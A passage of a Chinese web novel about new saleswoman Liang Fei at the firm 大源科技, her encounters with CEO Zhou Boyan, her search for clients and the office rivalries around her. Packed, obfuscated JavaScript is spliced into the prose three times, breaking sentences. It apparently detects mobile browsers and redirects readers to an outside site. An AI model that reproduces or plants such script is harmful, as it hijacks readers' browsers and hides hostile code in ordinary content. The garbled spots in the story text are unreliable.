这个世界上没有男人喜欢听到被人说是胆小鬼，周泊言的心跳还有点乱，刚才被吓得不轻，挑眉道：“我不会游泳。”不仅不会游泳，他怕水，小时候掉海里过，被浪打出去老远，水压压得喘不过气来，记忆里喷涌而出的窒息感和失能感很清晰。 梁菲笑嘻嘻说：“那你看我游泳，我不是跟你说过，我可以一口气游过永康江。” 挺要强的小孩，还记着这茬，周泊言唇角弯弯说：“好，你游，我看着。” 梁菲露出一个非常灿烂的笑容，“你看好咯。”说完一头扎进水里，脚在池壁上蹬了一下，游出去好远。 周泊言在心里计数，从1数到了130，梁菲又从水里冒出来，有肌肉线条的手臂撑在池壁上，一络络湿法贴在鬓角脖颈，细碎的水珠顺着线条滚进领口，竞速泳衣贴在身上，显露出曼妙的女性曲线，周泊言别开了眼神，他的年龄虽然大梁菲许多，却也不能完全用看小孩的方式看待梁菲。 梁菲甩了甩头发，仰头笑说：“怎么样？我没骗你吧。” 周泊言说：“厉害，永康江不止一百米吧？” 梁菲说：“夏天的时候水浅差不多就是一百米。” 周泊言说：“上来吧，晚了，有点冷，你拿毛巾了吗？” 梁菲指了指身后的休闲椅，“我的东西在那边，我从那边上去。” 周泊言走下台阶，从泳池边绕到小路上，梁菲从侧后方走来，穿着浴袍，又用毛巾包着头发。 周泊言说：“今天不是周三吗？你不用上学？” 梁菲说：“哦，快毕业了没什么课。” 周泊言捏着手机，眼神里闪过一丝笑意，他可不是什么大度的人，“你在浙江本地上学？没骗我吧？” 梁菲说：“骗你我就是女水鬼。” 周泊言的笑意更大了。 梁菲说：“你笑什么？” 周泊言说：“你很快就会知道。” 梁菲疑惑地说：“知道什么？” 周泊言只是目光温柔地看着梁菲，走去前台办理入住，梁菲正要走，周泊言略微抬手示意，“别急着走，一会儿去喝一杯……”停顿了下又说：“果汁。” 梁菲一怔，视线停留在周泊言的手上，顺着周泊言的手臂一直到平视他的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627312|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又是那种笃定的，不容拒绝，一切尽在掌握中的神态和语气，梁菲想问为什么，根据她和周泊言仅有的几次接触经验，周泊言不会回答她的问题，这里也不是饭局，周泊言对她来说只是一个萍水相逢的陌生人。 她游泳游得时间很长，手指已经起皱，游完泳身体热乎乎，暖洋洋，舒服到大脑忍不住放空，什么也不想，什么也不说，只想舒服地躺着，拒绝的话到了嘴边，眼神里闪过一丝狡黠，改口道：“我先上去换衣服。” 周泊言眼神示意大厅里咖啡吧，“一会儿见。” 梁菲只微微笑。 周泊言看着梁菲走远，从大厅穿越，松垮的浴袍套在身上，黑发随意披散在肩头，大厅尽头左转去电梯，梁菲转身回头看了一眼，蓦地撞上周泊言的眼神，周泊言明明是骄矜和冷漠的气质，眼神却又是温柔的。 梁菲往前走进电梯，电梯的板壁镜面，梁菲看着自己，拢了拢头发，想的却是周泊言，这是一个什么样的人？看起来不是那种会浪费时间和她喝一杯的人，可是梁菲在他身上并没有感觉到同龄男生对异性有好感时眼神里的热烈急切藏不住。 梁菲回到房间冲完澡，躺在床上思绪一浮一沉，从床底下摸出手机，这人应该不会等她很久吧？但她也没想太久，很快睡着了，一直睡到早起的铃声响起来。 阳光从窗户晒进来装满了整个房间，昨天晚上太困了，窗帘都没拉，她蒙上被子又眯了会儿从床上弹起来，这一觉睡得清爽极了。 到二楼早餐厅，梁菲照例在吃面的地方排队，徐商略后来排在梁菲后面，“Hi，早上好。” 梁菲说：“早上好。” 徐商略说：“你昨天晚上怎么没来？” 梁菲笑笑：“陈思思没叫我，好玩吗？” 徐商略一怔，“可能是忘记了吧，你和乔明语经常在一起，乔明语不住在这，没人会叫她活动，下次再一起玩。” 徐商略想到最近不少人在说大客户销售部两个新人一个花瓶一个关系户，跟关系户保持距离在职场属于基本自觉，你不知道哪句话说得不对就被传到领导耳朵里，关系户有领导支持，万一发生矛盾浑身长嘴也说不清楚，何况这个关系户一来就搞特殊，不和大家住在一起，早上来晚上走，不用每天早上跑五公里，职场上脏活累活杂活总要有人干，有人挑挑拣拣，剩下的大家就得多干，大家看在眼里说不嫉妒不讨厌是假的，对乔明语是敬而远之，连带着和乔明语天天在一起的梁菲也不待见。 徐商略觉得梁菲其实人还可以，徒步的时候他带队冲锋走错了一段路线，梁菲提醒了他，给他的印象梁菲做事细心也会团队配合，再加上他对陈思思这种拉帮结派的做法不以为然，他想提醒梁菲和乔明语保持距离，简单带过一句。 梁菲说：“好啊。” 徐商略说：“今天早上第一场大老板讲话，听说大老板特别传奇。” 梁菲说：“是吗？” 徐商略说：“高考700多分，清华大学人工智能专业，大学没毕业就创业了，给JD无人物流快递车做控制系统起家。” 大学没毕业就创业这个故事版本好像听过，梁菲说：“你见过吗？” 徐商略说：“我也没见过，新人都是到公司报道就过来培训了，没机会见，一会儿就能见到，你的面条好了。” 梁菲上前端走面条，吃完后走出餐厅，往熟悉的会议室方向走，看到指示牌，换了个会议室，梁菲调转方向，新的会议室有超级大屏，乔明语挥挥手，梁菲走过去坐下。 11. 选择vs努力 人事部门校招团队负责人Sue负责新人培训，日常培训会议Sue主持，今天却是人事总监安娜主持，安娜穿着一套阿玛尼的西装，露出两条细长弧度优美的小腿，会议室里架着摄像机，摄影师在试拍，安娜在调试多媒体设备，试了试PPT。 八点半新人都到齐，会议室里很安静，过了两分钟有个穿着印了公司logo白色Polo衫，风度翩然的男人从前门走进来。 梁菲看到来人微愣，下意识的低下头，没毕业创业的故事版本难怪耳熟，这位大佬也太低调了点，她没说什么得罪他的话吧？顶多就是没说实话？不过她想就算说错什么话大佬也不可能跟她计较吧，两个人隔了太多层级，以后在公司也不一定能碰到，这样想也无所谓了，身边开始有人小声议论这是大老板吗？ 这个问题很快得到答案，安娜介绍了来人身份，大源科技董事长兼CEO周总，接着灯光暗下来，PPT显示在大屏幕上，大屏幕上首先是五个字：大源价值观。 周泊言的演讲风格，简洁直接，非常硬科技的风格：“首先欢迎大家加入大源科技，2024年大源科技校招生预计会达到400人，你们是大源科技的新希望，是公司未来发展的重要力量。” 周泊言讲了三部分内容，第一部分是大源价值观，客户优先，专注热爱，团结协作，第二部分是大源科技的发展和校招生的培养制度；第三部分是三点小建议，初入职场的员工要多听多看少说，勤奋踏实，这四个字足够让初级员工脱颖而出在岗位上做到专家级别，个人成长之路要先求深再求广，先扎根再开枝，踏踏实实磨练岗位技能；公司需要多元发展的人才，资深骨干员工既有专项领域全球顶尖专家方向，也有综合管理型人才方向；最后我希望你们注重团队合作，能有效的调动和利用资源，可以在这个平台上发挥出你们的潜能，和平台共同成长，实现你们的野心和梦想。 周泊言说完过了几秒钟下面才爆发出激烈的掌声，大家都仿佛在这个演讲中看到了自己未来，对未来的憧憬和迷茫有了方向。 梁菲之前见到周泊言和站在大屏幕前的周泊言像是两个人，在饭局上碰到周泊言，梁菲只是有个印象这个人是个老板，做生意的，还算是个有风度人，后面一起吃饭是个挑食的人，再在酒店门口凑巧碰到，是个不会游泳害怕鬼神的人，这是梁菲第一次真正意识到周泊言作为大佬的能量，这种反差给了梁菲巨大的冲击，以至于乔明语用手肘碰碰她，她都没有反应过来。 乔明语看着梁菲呆愣愣的样子，拿手在梁菲面前晃了晃，“你在想什么？” 梁菲回过神来，“我在想销售的岗位技能是什么，怎么才能成为销售专家。” 乔明语笑了，“我还以为你看老板看傻了，哎，你看老板简直是爽文男主配置，年轻帅气多金，凭我多年经验这种男人只适合看，并不好用，别看现在魅力四射，真生活在一起多半大男子主义，没时间又没真心，自恋又爱表演，顶多给点钱。” 梁菲瞄了乔明语一眼说：“我怎么觉得有点吃不到葡萄说葡萄酸。” 乔明语脸都笑烂了，“被你看穿了，我属狐狸的，吃不到的都不好。” 周泊言演讲结束等打开鼓完掌把话筒交给安娜，安娜没接过来说：“周总，还有个提问环节。” 安娜和在座的人说：“现在是提问环节，欢迎大家提问。” 现场气氛热烈不少人举手，周泊言看着一张张青春洋溢充满希望的脸，随意点了人提问。 第一个问题是：“周总，您孤独吗？” 众人哄堂大笑，周泊言说：“说实话没时间孤独，工作挺忙的，每天的行程都排满。” 第二个问题是：“周总，您遇到过让您印象最深刻的事是什么？” 周泊言说：“大源科技计划上市的时候选了两家券商，其中一家券商辅导过的上市企业账户资金蒸发122亿丑闻爆发，面临证监会顶格处罚，券商承担连带责任，暂停辅导资格，大源科技凑巧没选择这家券商，才得以顺利上市，好了，最后一个问题。” 第三个问题是：“周总，刚才的事是不是说明选择比努力重要？” 周泊言说：“这个问题很好，我本科清华，大学里会有一种声音努力是给笨蛋准备的，我认为是很傲慢的想法，年轻的时候要下笨功夫，苦功夫，积累技能、知识、人脉、资金，到了一定的年龄才能顺势而为把握时机，要知道绝大部分成功是偶然的，这个世界上我们能真正掌控的只有自己，努力是一种修行，赶过路才知道路在哪里。” 这段话梁菲和乔明语对视了一眼，一个能说出绝大部分成功是偶然的老板，就不会是个傲慢的老板，反而有种踏实接地气亲和的气场，这种气场无疑让人佩服，崇拜。 接下来的一周梁菲是在各种培训中度过，到第三周回到公司开始正式上班，到公司后在行政部门领到了苹果三件套，又去人事部门补签竞业协议。 她拎着苹果三件套去人事部门，一路走过去发现人事部门的电脑是联想并不是苹果，她看到Sue在座位上，她过去打招呼，“Sue姐，我来签竞业协议，这个是每个人都要签的吗？” Sue把竞业协议递给她说：“核心岗位要签，签这份协议就说明你在重要岗位。” 梁菲接过来说：“哦。”接着低头一条条看竞业协议条款。 Sue看到她有点呆，竞业协议条款有啥好看，要是乔明语的话早就把这个岗位有多重要，升职路径，和部门内其他员工情况问个清楚了，觉得这人运气可太好了，“大客户销售部门历史上从来没有做过校招，这个部门的人员要么是内部资深技术销售人员转岗，要么是社招，招的是有背景有资源有人脉的资深业内人士，你和乔明语是这个部门第一次校招尝试。” 梁菲说：“大客户销售部门是只做大客户的意思吗？” Sue说：“不仅仅是只做大客户，是只做大客户的大项目，中大型企业千万级别以上的项目才会在大客户销售部立项。” 梁菲被这个说法震惊到了，千万级别的大项目，她本来以为乔明语是特殊情况才有八千万的项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627313|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，没想到这个部门只做千万级别以上的大项目，她低头看了看自己的厂牌，大客户销售部，职位：大客户销售助理。 她签完协议从人事部出来，回到办公室，看到办公室门上的挂着的大客户销售部，想起八个字，与有荣焉，幸甚至哉，诺大的办公室，零星几个人在。 李西廷办公室门上的状态牌是出差，周三销售部助理给了她一些客户资料，李西廷打电话给她，让她负责电子行业的客户。 她拿到客户资料开始根据销售培训课程里的流程走，第一步是建立联系，她挨个打电话拜访，对方很客气地说最近工厂效益不好没有需求要么直接说没空还有一听到是大源科技直接挂电话的，她一个客户都没有约出来，只好在公司里研究产品手册，去车间里看智能工厂项目的生产制造过程。 周四终于见到了直线上级销售总监李西廷，李西廷穿着条纹衬衣深色西裤，身材清瘦，温文尔雅的风格，看起来不像是很能喝酒的样子，反而像个工程师，梁菲心里踏实了一半。李西廷带过来一个小伙子，“这是项目部的徐商略，北航毕业电子信息工程专业，你们已经认识了吧？你的立项项目厂内运营交给他。” 徐商略对着梁菲微笑，“认识，我们徒步的时候一个小队。” 梁菲赶紧站起来说：“是的，徐商略带着我们队冲锋拿了徒步第一名。” 李西廷说：“不错，好的开始，项目里也要继续配合好。” 李西廷走后，徐商略说：“你分到哪些客户？ 梁菲说：“电子行业的一些客户。” 徐商略说：“你约到客户了吗？” 梁菲说：“我一个都没约到，我没有客户你就没有项目吗？” 徐商略说：“不是，只有你的项目我是负责人，你没有项目我就去大项目作辅助，其他项目负责人安排我的工作。” 梁菲说：“我努力让你当项目负责人，不过我现在还没头绪，那些客户联系人都是工厂的高管，工作很忙的样子，没功夫见我，这销售的第一步建立联系我就进行不下去。” 徐商略说：“我不急，是担心你压力大，要么你跟其他老销售请教下？” 只有项目负责人是根据交付成果来打KPI，在其他项目经理负责的大项目里辅助，由其他项目负责人打KPI，他倒是不急，跟着大项目负责人能学到很多东西，项目负责人也不拿提成，根据KPI拿绩效和年终奖，他是替梁菲着急，销售的薪资和签单直接挂钩。 大客户销售部就没有几个销售在办公室，神龙见首不见尾，梁菲说：“我再想想办法。” 徐商略看着梁菲，心想乔明语分到的是八千万的项目，这几天李西廷带着乔明语在外面拜访客户，分给梁菲的肯定不是什么重要客户，梁菲一没有经验二没有人脉，也不知道怎么做销售，只能吃闭门羹，梁菲人不错，只是跟着她什么时候才会有独立负责的大项目，想到陈思思跟韩致远打的火热，进来就分到FSK这样的项目，心里不是滋味。 徐商略说：“去食堂吃饭吧。” 12. 初出茅庐 主楼没有食堂，食堂在一期厂房三楼，梁菲和徐商略先下到二楼穿过连廊到再上三楼食堂，大源科技的食堂饮食很丰富，梁菲选择中式快餐，打了菜看到乔明语和李西廷坐在一起，乔明语向她招手，她才想起来最近都没看到乔明语，她走过去坐在乔明语旁边。 梁菲坐下还没打招呼，走过来一个人穿着斜纹衬衫牛仔裤，端着餐盘在梁菲对面大剌剌坐下，笑嘻嘻地说：“看来领导还是喜欢和美女坐。” 李西廷温和地说：“我是喜欢跟年轻人坐在一起，给你们介绍一下，这是我们电子行业业绩最好的销售孙宏斌。” 梁菲和乔明语对视了一眼，都不喜欢孙宏斌言语里的轻浮，梁菲平日严肃，早就学会了跟男性保持合适距离，生活是生活，工作是工作，在职场只有上下级和同事，孙宏斌这句李总喜欢跟美女坐在一起吃饭既没把她和乔明语当成专业职业的同事，也没有把李西廷当成一个公私分明的上级。 而乔明语第一反应就是这说的什么话，一点都不注意说话分寸，大源科技也不算小公司，招聘门槛不低，怎么也有这种讲究男女关系，拉皮条，起哄的人，只觉得这个孙宏斌长得就不讨喜，一副花花公子油腔滑调的样子，她可没有梁菲能忍，要不是李西廷接的那句话，早骂回去了，管你是谁，她来公司上班可不是来受气的，不能就这么算了。 孙宏斌的眼神落在梁菲的身上，话却是和李西廷说的，“李总，打算使用美人计呢？” 这回乔明语没忍住，抬起筷子，指着他说：“你觉得自己很幽默？在大源科技工作还得卖身？你这么讲话小心犯纪律。” 乔明语说完李西廷皱了皱眉接过话茬说：“吃饭吃饭，少开这些玩笑，注意点说话分寸。” 孙宏斌扯了扯唇角，这些小销售在销售部脚跟都没站稳就开始立规矩了，还真仗着自己是关系户，也不掂量掂量关系户值多少钱，李西廷敢用罗总安插过来的钉子吗？也就是现在李西廷要用你从罗总那里把FSK项目客户关系接过来，FSK是罗总多年老客户，这种经营多年的优质客户罗总能随意放手么，两边明争暗斗少不了。 李西廷是笑面虎，让乔明语冲在前面当项目负责人，看你罗总舍不舍得交出客户关系，要是客户关系不交出来，FSK项目做不下来出了问题就把屎盆子往乔明语身上一扣，把人清理出局，要是项目做下来那是销售部的业绩，等用完了你看着好了，既清高又锋芒毕露，难怪风评这么差，死都不知道怎么死的。 孙宏斌毫不在意地说：“FSK那个项目给了美女，哎，我马上就不是电子行业业绩最好的销售了。” 这个乔明语好歹还有个大客户，分给梁菲的客户都是些已经筛选过多少遍的不要说肉，连汤都没有的客户，梁菲一个新人要出业绩只能去开拓新客户，李西廷也够狠心的，这活是人干的吗？把好好一美女往死里用。 李西廷说：“你手里几个大项目做下来，没人能抢走你的名头。” 孙宏斌勾起唇角，别说这个梁菲长得还挺对他胃口，有种介于都市丽人的成熟妩媚和女大学生的简单清纯之间的风情，要是梁菲求他，他也不是不可以帮忙，出业绩嘛对他来说是小事一桩。 李西廷和孙宏斌走后，梁菲和乔明语去食堂买水果，食堂的果切种类很多，刀工出色，新鲜又便宜，梁菲说：“这一周都没见到你。” 乔明语说：“我在上海出差呢，FSK八千万的项目，竞争对手很强，还好总代跟客户关系很好，总代带着我们拜访了一圈客户，我们请客户吃饭唱歌，看不出来李总超级能喝酒，直接把客户的厂长给喝趴下了，今天收到了客户需求，这周还要提交项目方案和计划。” 梁菲说：“听起来很顺利啊，我的客户还不知道在哪。” 乔明语拿了车厘子、树莓和蓝莓拼盘，在机器上刷了卡，卡里余额465，大源科技每月500餐补，免费加班晚餐，外地出差又另有150/天的出差补贴，经常在外面跑的销售可以拿满出差补贴，福利还不错。 乔明语说：“客户比我们内部好沟通，陈思思跟我搭档，我快烦死她了，昨天她跟我说客户需求很难，有几个功能不能满足，让我去找客户降低标准，我问李总要是我们技术能力问题满足不了客户需求，单子丢了算谁的责任，李总说是销售的责任，我说凭什么，李总说凭销售是拿业绩提成，你认为什么是销售？技术强就能卖出去，技术差就卖不出去，这不是销售是跟单员。” 梁菲拿了一盒果切，刷完卡和乔明语一起走出去，乔明语刚进公司就可以在大项目里历练，又是跟着老板李西廷，大项目带来深度思考和成长速度，梁菲拍马也追不上，何况梁菲没有马，连车都不会开，她到现在一个客户的面都没见上，只知道销售培训手册上的建立联系，发现需求，双赢方案，达成交易，什么是销售？周泊言说要踏实磨练岗位技能，要求深要扎根，销售这个岗位核心技能是什么？怎么才能深入扎根？ 梁菲说不羡慕乔明语是假的，公司的安排一定有公司的道理，她虽然还不能在大项目里历练，要是能从乔明语的经历里悟到什么也算是为自己积累经验了，这样一想也释然了，她说：“那你打算怎么办？” 乔明语说：“我去找陈思思和产品经理，要是客户不同意降低标准，我们内部还有没有办法，要降低标准到什么程度我们才能做，我起码心里有数再去找客户谈。” 梁菲下午还是没约到客户，只好到车间里学习，碰到徐商略在车间里开项目进度会，梁菲在旁边听了会儿，徐商略开完会过来说：“还是没约到客户啊？你请售后部门的同事吃饭吧，项目交付以后交给售后部门提供服务，他们跟客户接触的时间久，还可以用日常维保检修的名义去约客户，不管怎么样得先见上客户。” 梁菲一咬牙，也只有这个办法了，她说：“我去找售后部门的同事。” 刚从车间出来就碰到陈思思从通道里的走过来，陈思思看到梁菲倒挺热情，远远就开始打招呼，面带笑容的凑过来拉住梁菲聊天，“上次在酒店喝酒忘记叫你了，不好意思啊，你跟乔明语经常在一起么，大家也有点怕你的哇。” 梁菲一头雾水，“什么意思？” 陈思思说：“乔明语关系户呀，谁知道你哪句话说得不对人家就和领导打小报告了，大家不敢跟她走太近么，也不好跟你走得近的，谁让你们两个关系好，你看她一来就拿到大项目还是你们销售总监亲自带着跑项目，哪里像你分到的都是些硬骨头也没人带你，要我早就找老板闹了，这不明摆着欺负人嘛……” 梁菲默默叹一口气，陈思思这是挑事来了，乔明语是关系户说明人家有资源有人脉，这本身就是一种能力，这么多天相处下来乔明语是那种坦率大方的人，有什么说什么，不会当面一套背后一套，要说挑拨离间，这招数也太不高明了，前面不待见她喝酒不叫她，后脚就来替她打抱不平了，她和陈思思什么时候关系这么好了？还是陈思思觉得她是个蠢货？ 梁菲越听眉头皱得越紧，心里还隐隐升起一股愤怒，口口声声关系户，这种随便给人贴标签，拉拢她孤立人的行为太难看了，她竭力克制着自己，又庆幸她的项目搭档不是陈思思，省了很多口舌之争，徐商略为人处事稳重得多。 徐商略从车间出来，没想到梁菲还没走，眉头皱得紧紧的抿着唇一言不发忍耐的模样，刚才他在车间已经听说陈思思和乔明语大吵了一架，陈思思让乔明语去找客户降低标准，乔明语说项目部门不站在客户角度考虑问题，没有以客户为优先，徐商略来了这么多天已经发现项目部和销售部矛盾很多，陈思思和乔明语一组，找梁菲干嘛，他说：“你们在聊什么？” 陈思思说：“没聊什么，我们约下次一起去喝酒。” 徐商略说：“好啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627314|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见者有份，一起去。” 梁菲说：“你们忙，我先走了。” 梁菲从车间回到办公室，先从系统里查了她手上客户是哪些工程师在维护，从内部通讯录里找到售后工程师蔡云峰的电话，给他打了过去说明来意，蔡云峰听了爽快答应说：“你想约哪个客户，要么我都约一遍，这些客户我跟他们关系都还行。” 梁菲说：“我们一天拜访三家客户？你时间安排的过来吗？” 蔡云峰说：“你开车吗？开车方便点，客户那地方不好打车。” 梁菲捏着手机有点不好意思，“我不会开车也没有车。” 蔡云峰说：“不开车的话，我约两家客户吧。” 梁菲说：“谢谢，我请你吃饭。” 蔡云峰说：“没事，售后也要给客户做例行维保的。” 有了蔡云峰的帮忙，梁菲总算见上了客户，蔡云峰和客户聊技术，功能，操作，保养，升级，她坐在旁边也插不上话，蔡云峰聊完技术后也会把话题抛给梁菲，梁菲问客户有没有新的需求，客户说有新的需求会联系你们，也有些客户说没有新需求但对大源科技做的最新智能工厂项目感兴趣，梁菲给客户讲产品，讲方案，发资料，之后就没有下文了。 蔡云峰去车间里进行维保，梁菲也跟着进去，第一次见到真正的无人智能工厂，机械智能化的流水线，只需要少数的操作工人，这种现代工业的科技感太迷人了，梁菲对身为大源科技员工有一种骄傲和自豪感。 就这样跟着蔡云峰跑了一段时间，梁菲终于碰到一个客户新顺集团的技术总工说投资了一个新工厂，正在搭建产线，但是梁菲去的太晚了，竞争对手在产线规划初期介入，两边合作很深入，他们和竞争对手已经基本达成了合作意向。 蔡云峰下午在车间做维保，她在旁边帮忙，又碰到技术总工到车间巡线，技术总工方利民看到她说：“你们公司销售还会做售后服务？” 梁菲说：“我来学习，做销售也要知道公司产品怎么使用，更要知道客户的需求和痛点，这些都要深入一线车间才知道，多学点总没错。” 方利民说：“小姑娘工作态度蛮好的。”说完就开始回忆当年，怎么从一个产线的小组长兢兢业业表现出色被领导赏识一步步提拔上来，做到如今电子厂技术总工的位置，梁菲听得津津有味，非常捧场，一个好学生，一个好为人师，越聊越起劲，整整说了好几个小时，颇有点忘年交的味道，临走前，方利民说：“小梁，这个项目你们晚了点，别灰心啊，以后总会有机会的。” 这边聊完蔡云峰工作也结束，从厂里出来已经是晚上七点，就在工厂附近找了个路边摊吃炒面，吃完炒面蔡云峰打了个车走了，她不想浪费打车的报销额度，坐着公交车慢悠悠晃到市中心再转车。 这段时间跟着蔡云峰跑销售，还是没摸到任何做销售的门槛，这个新顺集团是最近这么长一段时间跑下来唯一有合作需求的，又被竞争对手抢走了，这个单子还要跟吗？怎么继续跟？销售手册和培训上说操盘大项目要有内部线人支持、有客户关键人支持、识别掌握竞争对手动态、控制竞争对手、控制招投标方式和评分标准制定，这些她一条都没做到。 她坐在公交车上，靠着窗，对向车道的车流汇聚成一条巨大的灯带缓慢游走，她有一种非常孤独又无力的感觉，她现在做的事情似乎没有一点用处。 下班高峰期，公交车堵了一会儿，她下车后要走几百米到另外一个公交站台等车，这一堵车，时间紧张，她只好一路狂奔，免得错过最后一班回家的车。 还是错过了，她气喘吁吁的跑过去，眼睁睁的看着公交车绝尘而去，她没追上，只好到公交站牌那研究还有没有别的公交车。 突然，旁边响起短促响亮的汽车喇叭声，梁菲抬头看过去，汽车后座降下窗户，露出一张熟悉的脸，那人说：“上车。” 13. 考驾照 梁菲诧异地说：“周泊言？”说出口才发现不太对马上改口道：“老板？哦不是，周总。” 周泊言倾身过来推开车门，梁菲走上前两步扶着车门凑过去低头说：“不用，我坐公交车回去就行。” 周泊言说：“让你上车就上车。” 周泊言的车停在公交站台，后面的公交车已经进来，梁菲来不及多想坐进车里关上门。 他穿着白色的衬衫，双腿交迭坐着，手里捏着一份文件，手指修长，指骨好看，衬衫折了两道堆叠在手臂上，手肘搭在中间的扶手盒上。 梁菲强迫自己不去看他，想到上次放周泊言鸽子，心跳得很快，待在他身边，狭小的空间里，像是一个真空地带。 害怕被质问，上次为什么没有下楼，她该怎么解释，就是不爽他一副居高临下笃定的样子？ 或者她干脆直接挑明？她并不知道他是老板，她又为什么要解释，难道就因为知道了他是老板就要解释？他也没说他是老板要请她喝一杯。 梁菲调整了下坐姿，系上安全带。 周泊言在此刻开口：“住哪？” 梁菲说了一个地址，周泊言看着文件快速浏览没抬头说：“不是让你喊言哥吗？一会儿周泊言，一会儿老板。” 梁菲立马坐端正了，强迫自己不要多想，要专注，眼前这位是大老板，后背都没靠着椅背，身体半侧着拘束道：“周总，我错了，应该喊周总。” 周泊言放下手里的文件，视线从上往下，她穿着一件剪裁简单、流畅、贴身的西装裙，长度到膝盖，露出细而长的小腿，整个人从后背到小腿紧紧绷着。 他刚出差回来往公司方向走，在路边看到人，有点像，他多看了两眼，让司机停车，停车的时候想到骗人是女水鬼的事，碰上了正好调侃她，人看起来有点反应迟钝，其实心思敏锐不容易接近，一接近就竖起全身的刺，像一只嗅觉灵敏的猎狗。 周泊言坐直了身体，收起隔在两人中间的扶手盒，望着她说：“如果你是因为放我鸽子而紧张，大可不必。” 梁菲侧身直直地看着他，“你那天有事要跟我说？” 周泊言说：“没事了。” 周泊言觉得梁菲的性格并不适合做销售，要是其他人机缘巧合碰到他，早就把谈话的气氛搞得融洽欢快，借机拉近距离，这样必定会走很长时间的弯路，栽很多跟头，那天晚上周泊言想过建议梁菲转岗走技术路线，大源科技有一部分技术岗位门槛没有那么高，只要下苦功夫跟科班出身的工程师差距不大，在技术岗位深耕是一条更坚实的职业发展路线，但梁菲没有来，错过这个机会也就错过了，他随意道：“吃过晚饭了吗？” 梁菲说：“吃过了。” 周泊言说：“去拜访客户了？” 梁菲说：“对，刚从客户工厂出来。”忽然又觉得不太对反问道：“你知道我在什么部门？” 周泊言点点头：“大客户销售部。” 梁菲后背一凉，狐疑地看他一眼，大老板怎么知道她在什么部门，上次在大会议室宣讲她一直低着头，努力降低存在感，还以为他没看到她，难道看到了去查她简历了？这也怪不了她说谎吧？饭局上碰到忽然就说可以帮她，问她在什么城市上学，她有点防备心说自己不在南江上学很正常，可以理解吧？不可能跟她计较吧？ 周泊言看她一脸警惕又说：“最近工作怎么样？” 梁菲说：“最近拜访了一些客户，去客户那参观了智能工厂，感觉公司做的产品非常厉害。” 周泊言说：“厉害在哪？” 梁菲说：“非常高科技，对现代工业科技有了很直观的感受，羡慕学理工科专业可以用学的知识作出这样的产品，有一种很坚实的力量，可以脚踏实地去创造一些东西，改变一些东西。” 周泊言笑笑：“你这是没做过工程师，对工程师工作有幻想。” 梁菲说：“我说得不对吗？不是有一句名言，乔布斯问百事CEO约翰，你愿意卖一辈子糖水，还是跟我一起改变世界，我也觉得我卖的产品能改变世界。” 周泊言哈哈一乐，很乐观，乐观是很重要的品质，这么晚从客户工厂出来在这等公交车，还觉得自己能改变世界，说起来眉眼飞扬。 大客户销售部门以前不招校招生，一般从事这种重要岗位的都是业内资深人士，重要客户重要项目对接圈层比较高，和这些人打交道，没有相当的阅历很难有共同语言，一个大学刚毕业的年轻人做这份工作摸不到门，被轻视，被忽略，被嘲讽很正常，直到她找到一条变强大的道路，在此之前乐观的心态能帮她度过很多低谷。 周泊言说：“你说得很对，这么晚了还等公交车？” 梁菲说：“嗯，销售打车报销有限额，我想省点用。” 周泊言说：“公司鼓励销售开车。” 梁菲也知道公司鼓励销售开车，报销油费没有限额还有补贴，叹了一口气，“我不会开车，也没有车，我不仅要改变世界我还要赚钱。” 周泊言又笑了，这回总算想到赚钱了，没有净想着那些不着边际的东西，“早点去考驾照。” 梁菲说：“等我发工资。” 周泊言掏出手机，“加我微信。” 梁菲说：“嗯？” 周泊言微扬下巴，只是打开微信二维码等着。 梁菲看了他一眼，在他的注视下掏出手机，扫了他的二维码，点了添加申请。 周泊言很快通过了添加申请，直接在微信里转账了一万块钱。 梁菲在改备注，周泊言的微信头像是一张蓝天白云，没什么特别的，名字是泊言，梁菲把备注改成周泊言，再回到微信界面发现有一万块钱转账，她微愣，看向周泊言，“这是什么？” 周泊言说：“这是公司预支给你考驾照的钱，从你工资里扣。” 梁菲说：“这样可以吗？” 周泊言说：“当然可以，一个做销售的不会开车太不方便，你还是赶紧去把驾照考出来。” 梁菲说：“不是，培训的时候说过销售借款走借款流程，流程审核完成才会收到款。” 周泊言说：“跟我说流程，你是老板还是我老板？” 梁菲噎了一下说：“哦。”接收了转账。 车子已经到了工业园附近，先路过公司附近的路边摊，这一带工业区原本是不允许摆放路边摊，附近有不少工业厂房在建，没有路边摊工地工人没地方吃饭，城管和附近企业都睁一只眼闭一只眼。 路过煎饼摊周泊言让司机停车，司机靠边停车，周泊言说：“我去买个煎饼，你吃吗？” 梁菲说：“我不吃。”心想刚才周泊言还问她吃没吃晚饭，原来没吃晚饭的人是他。 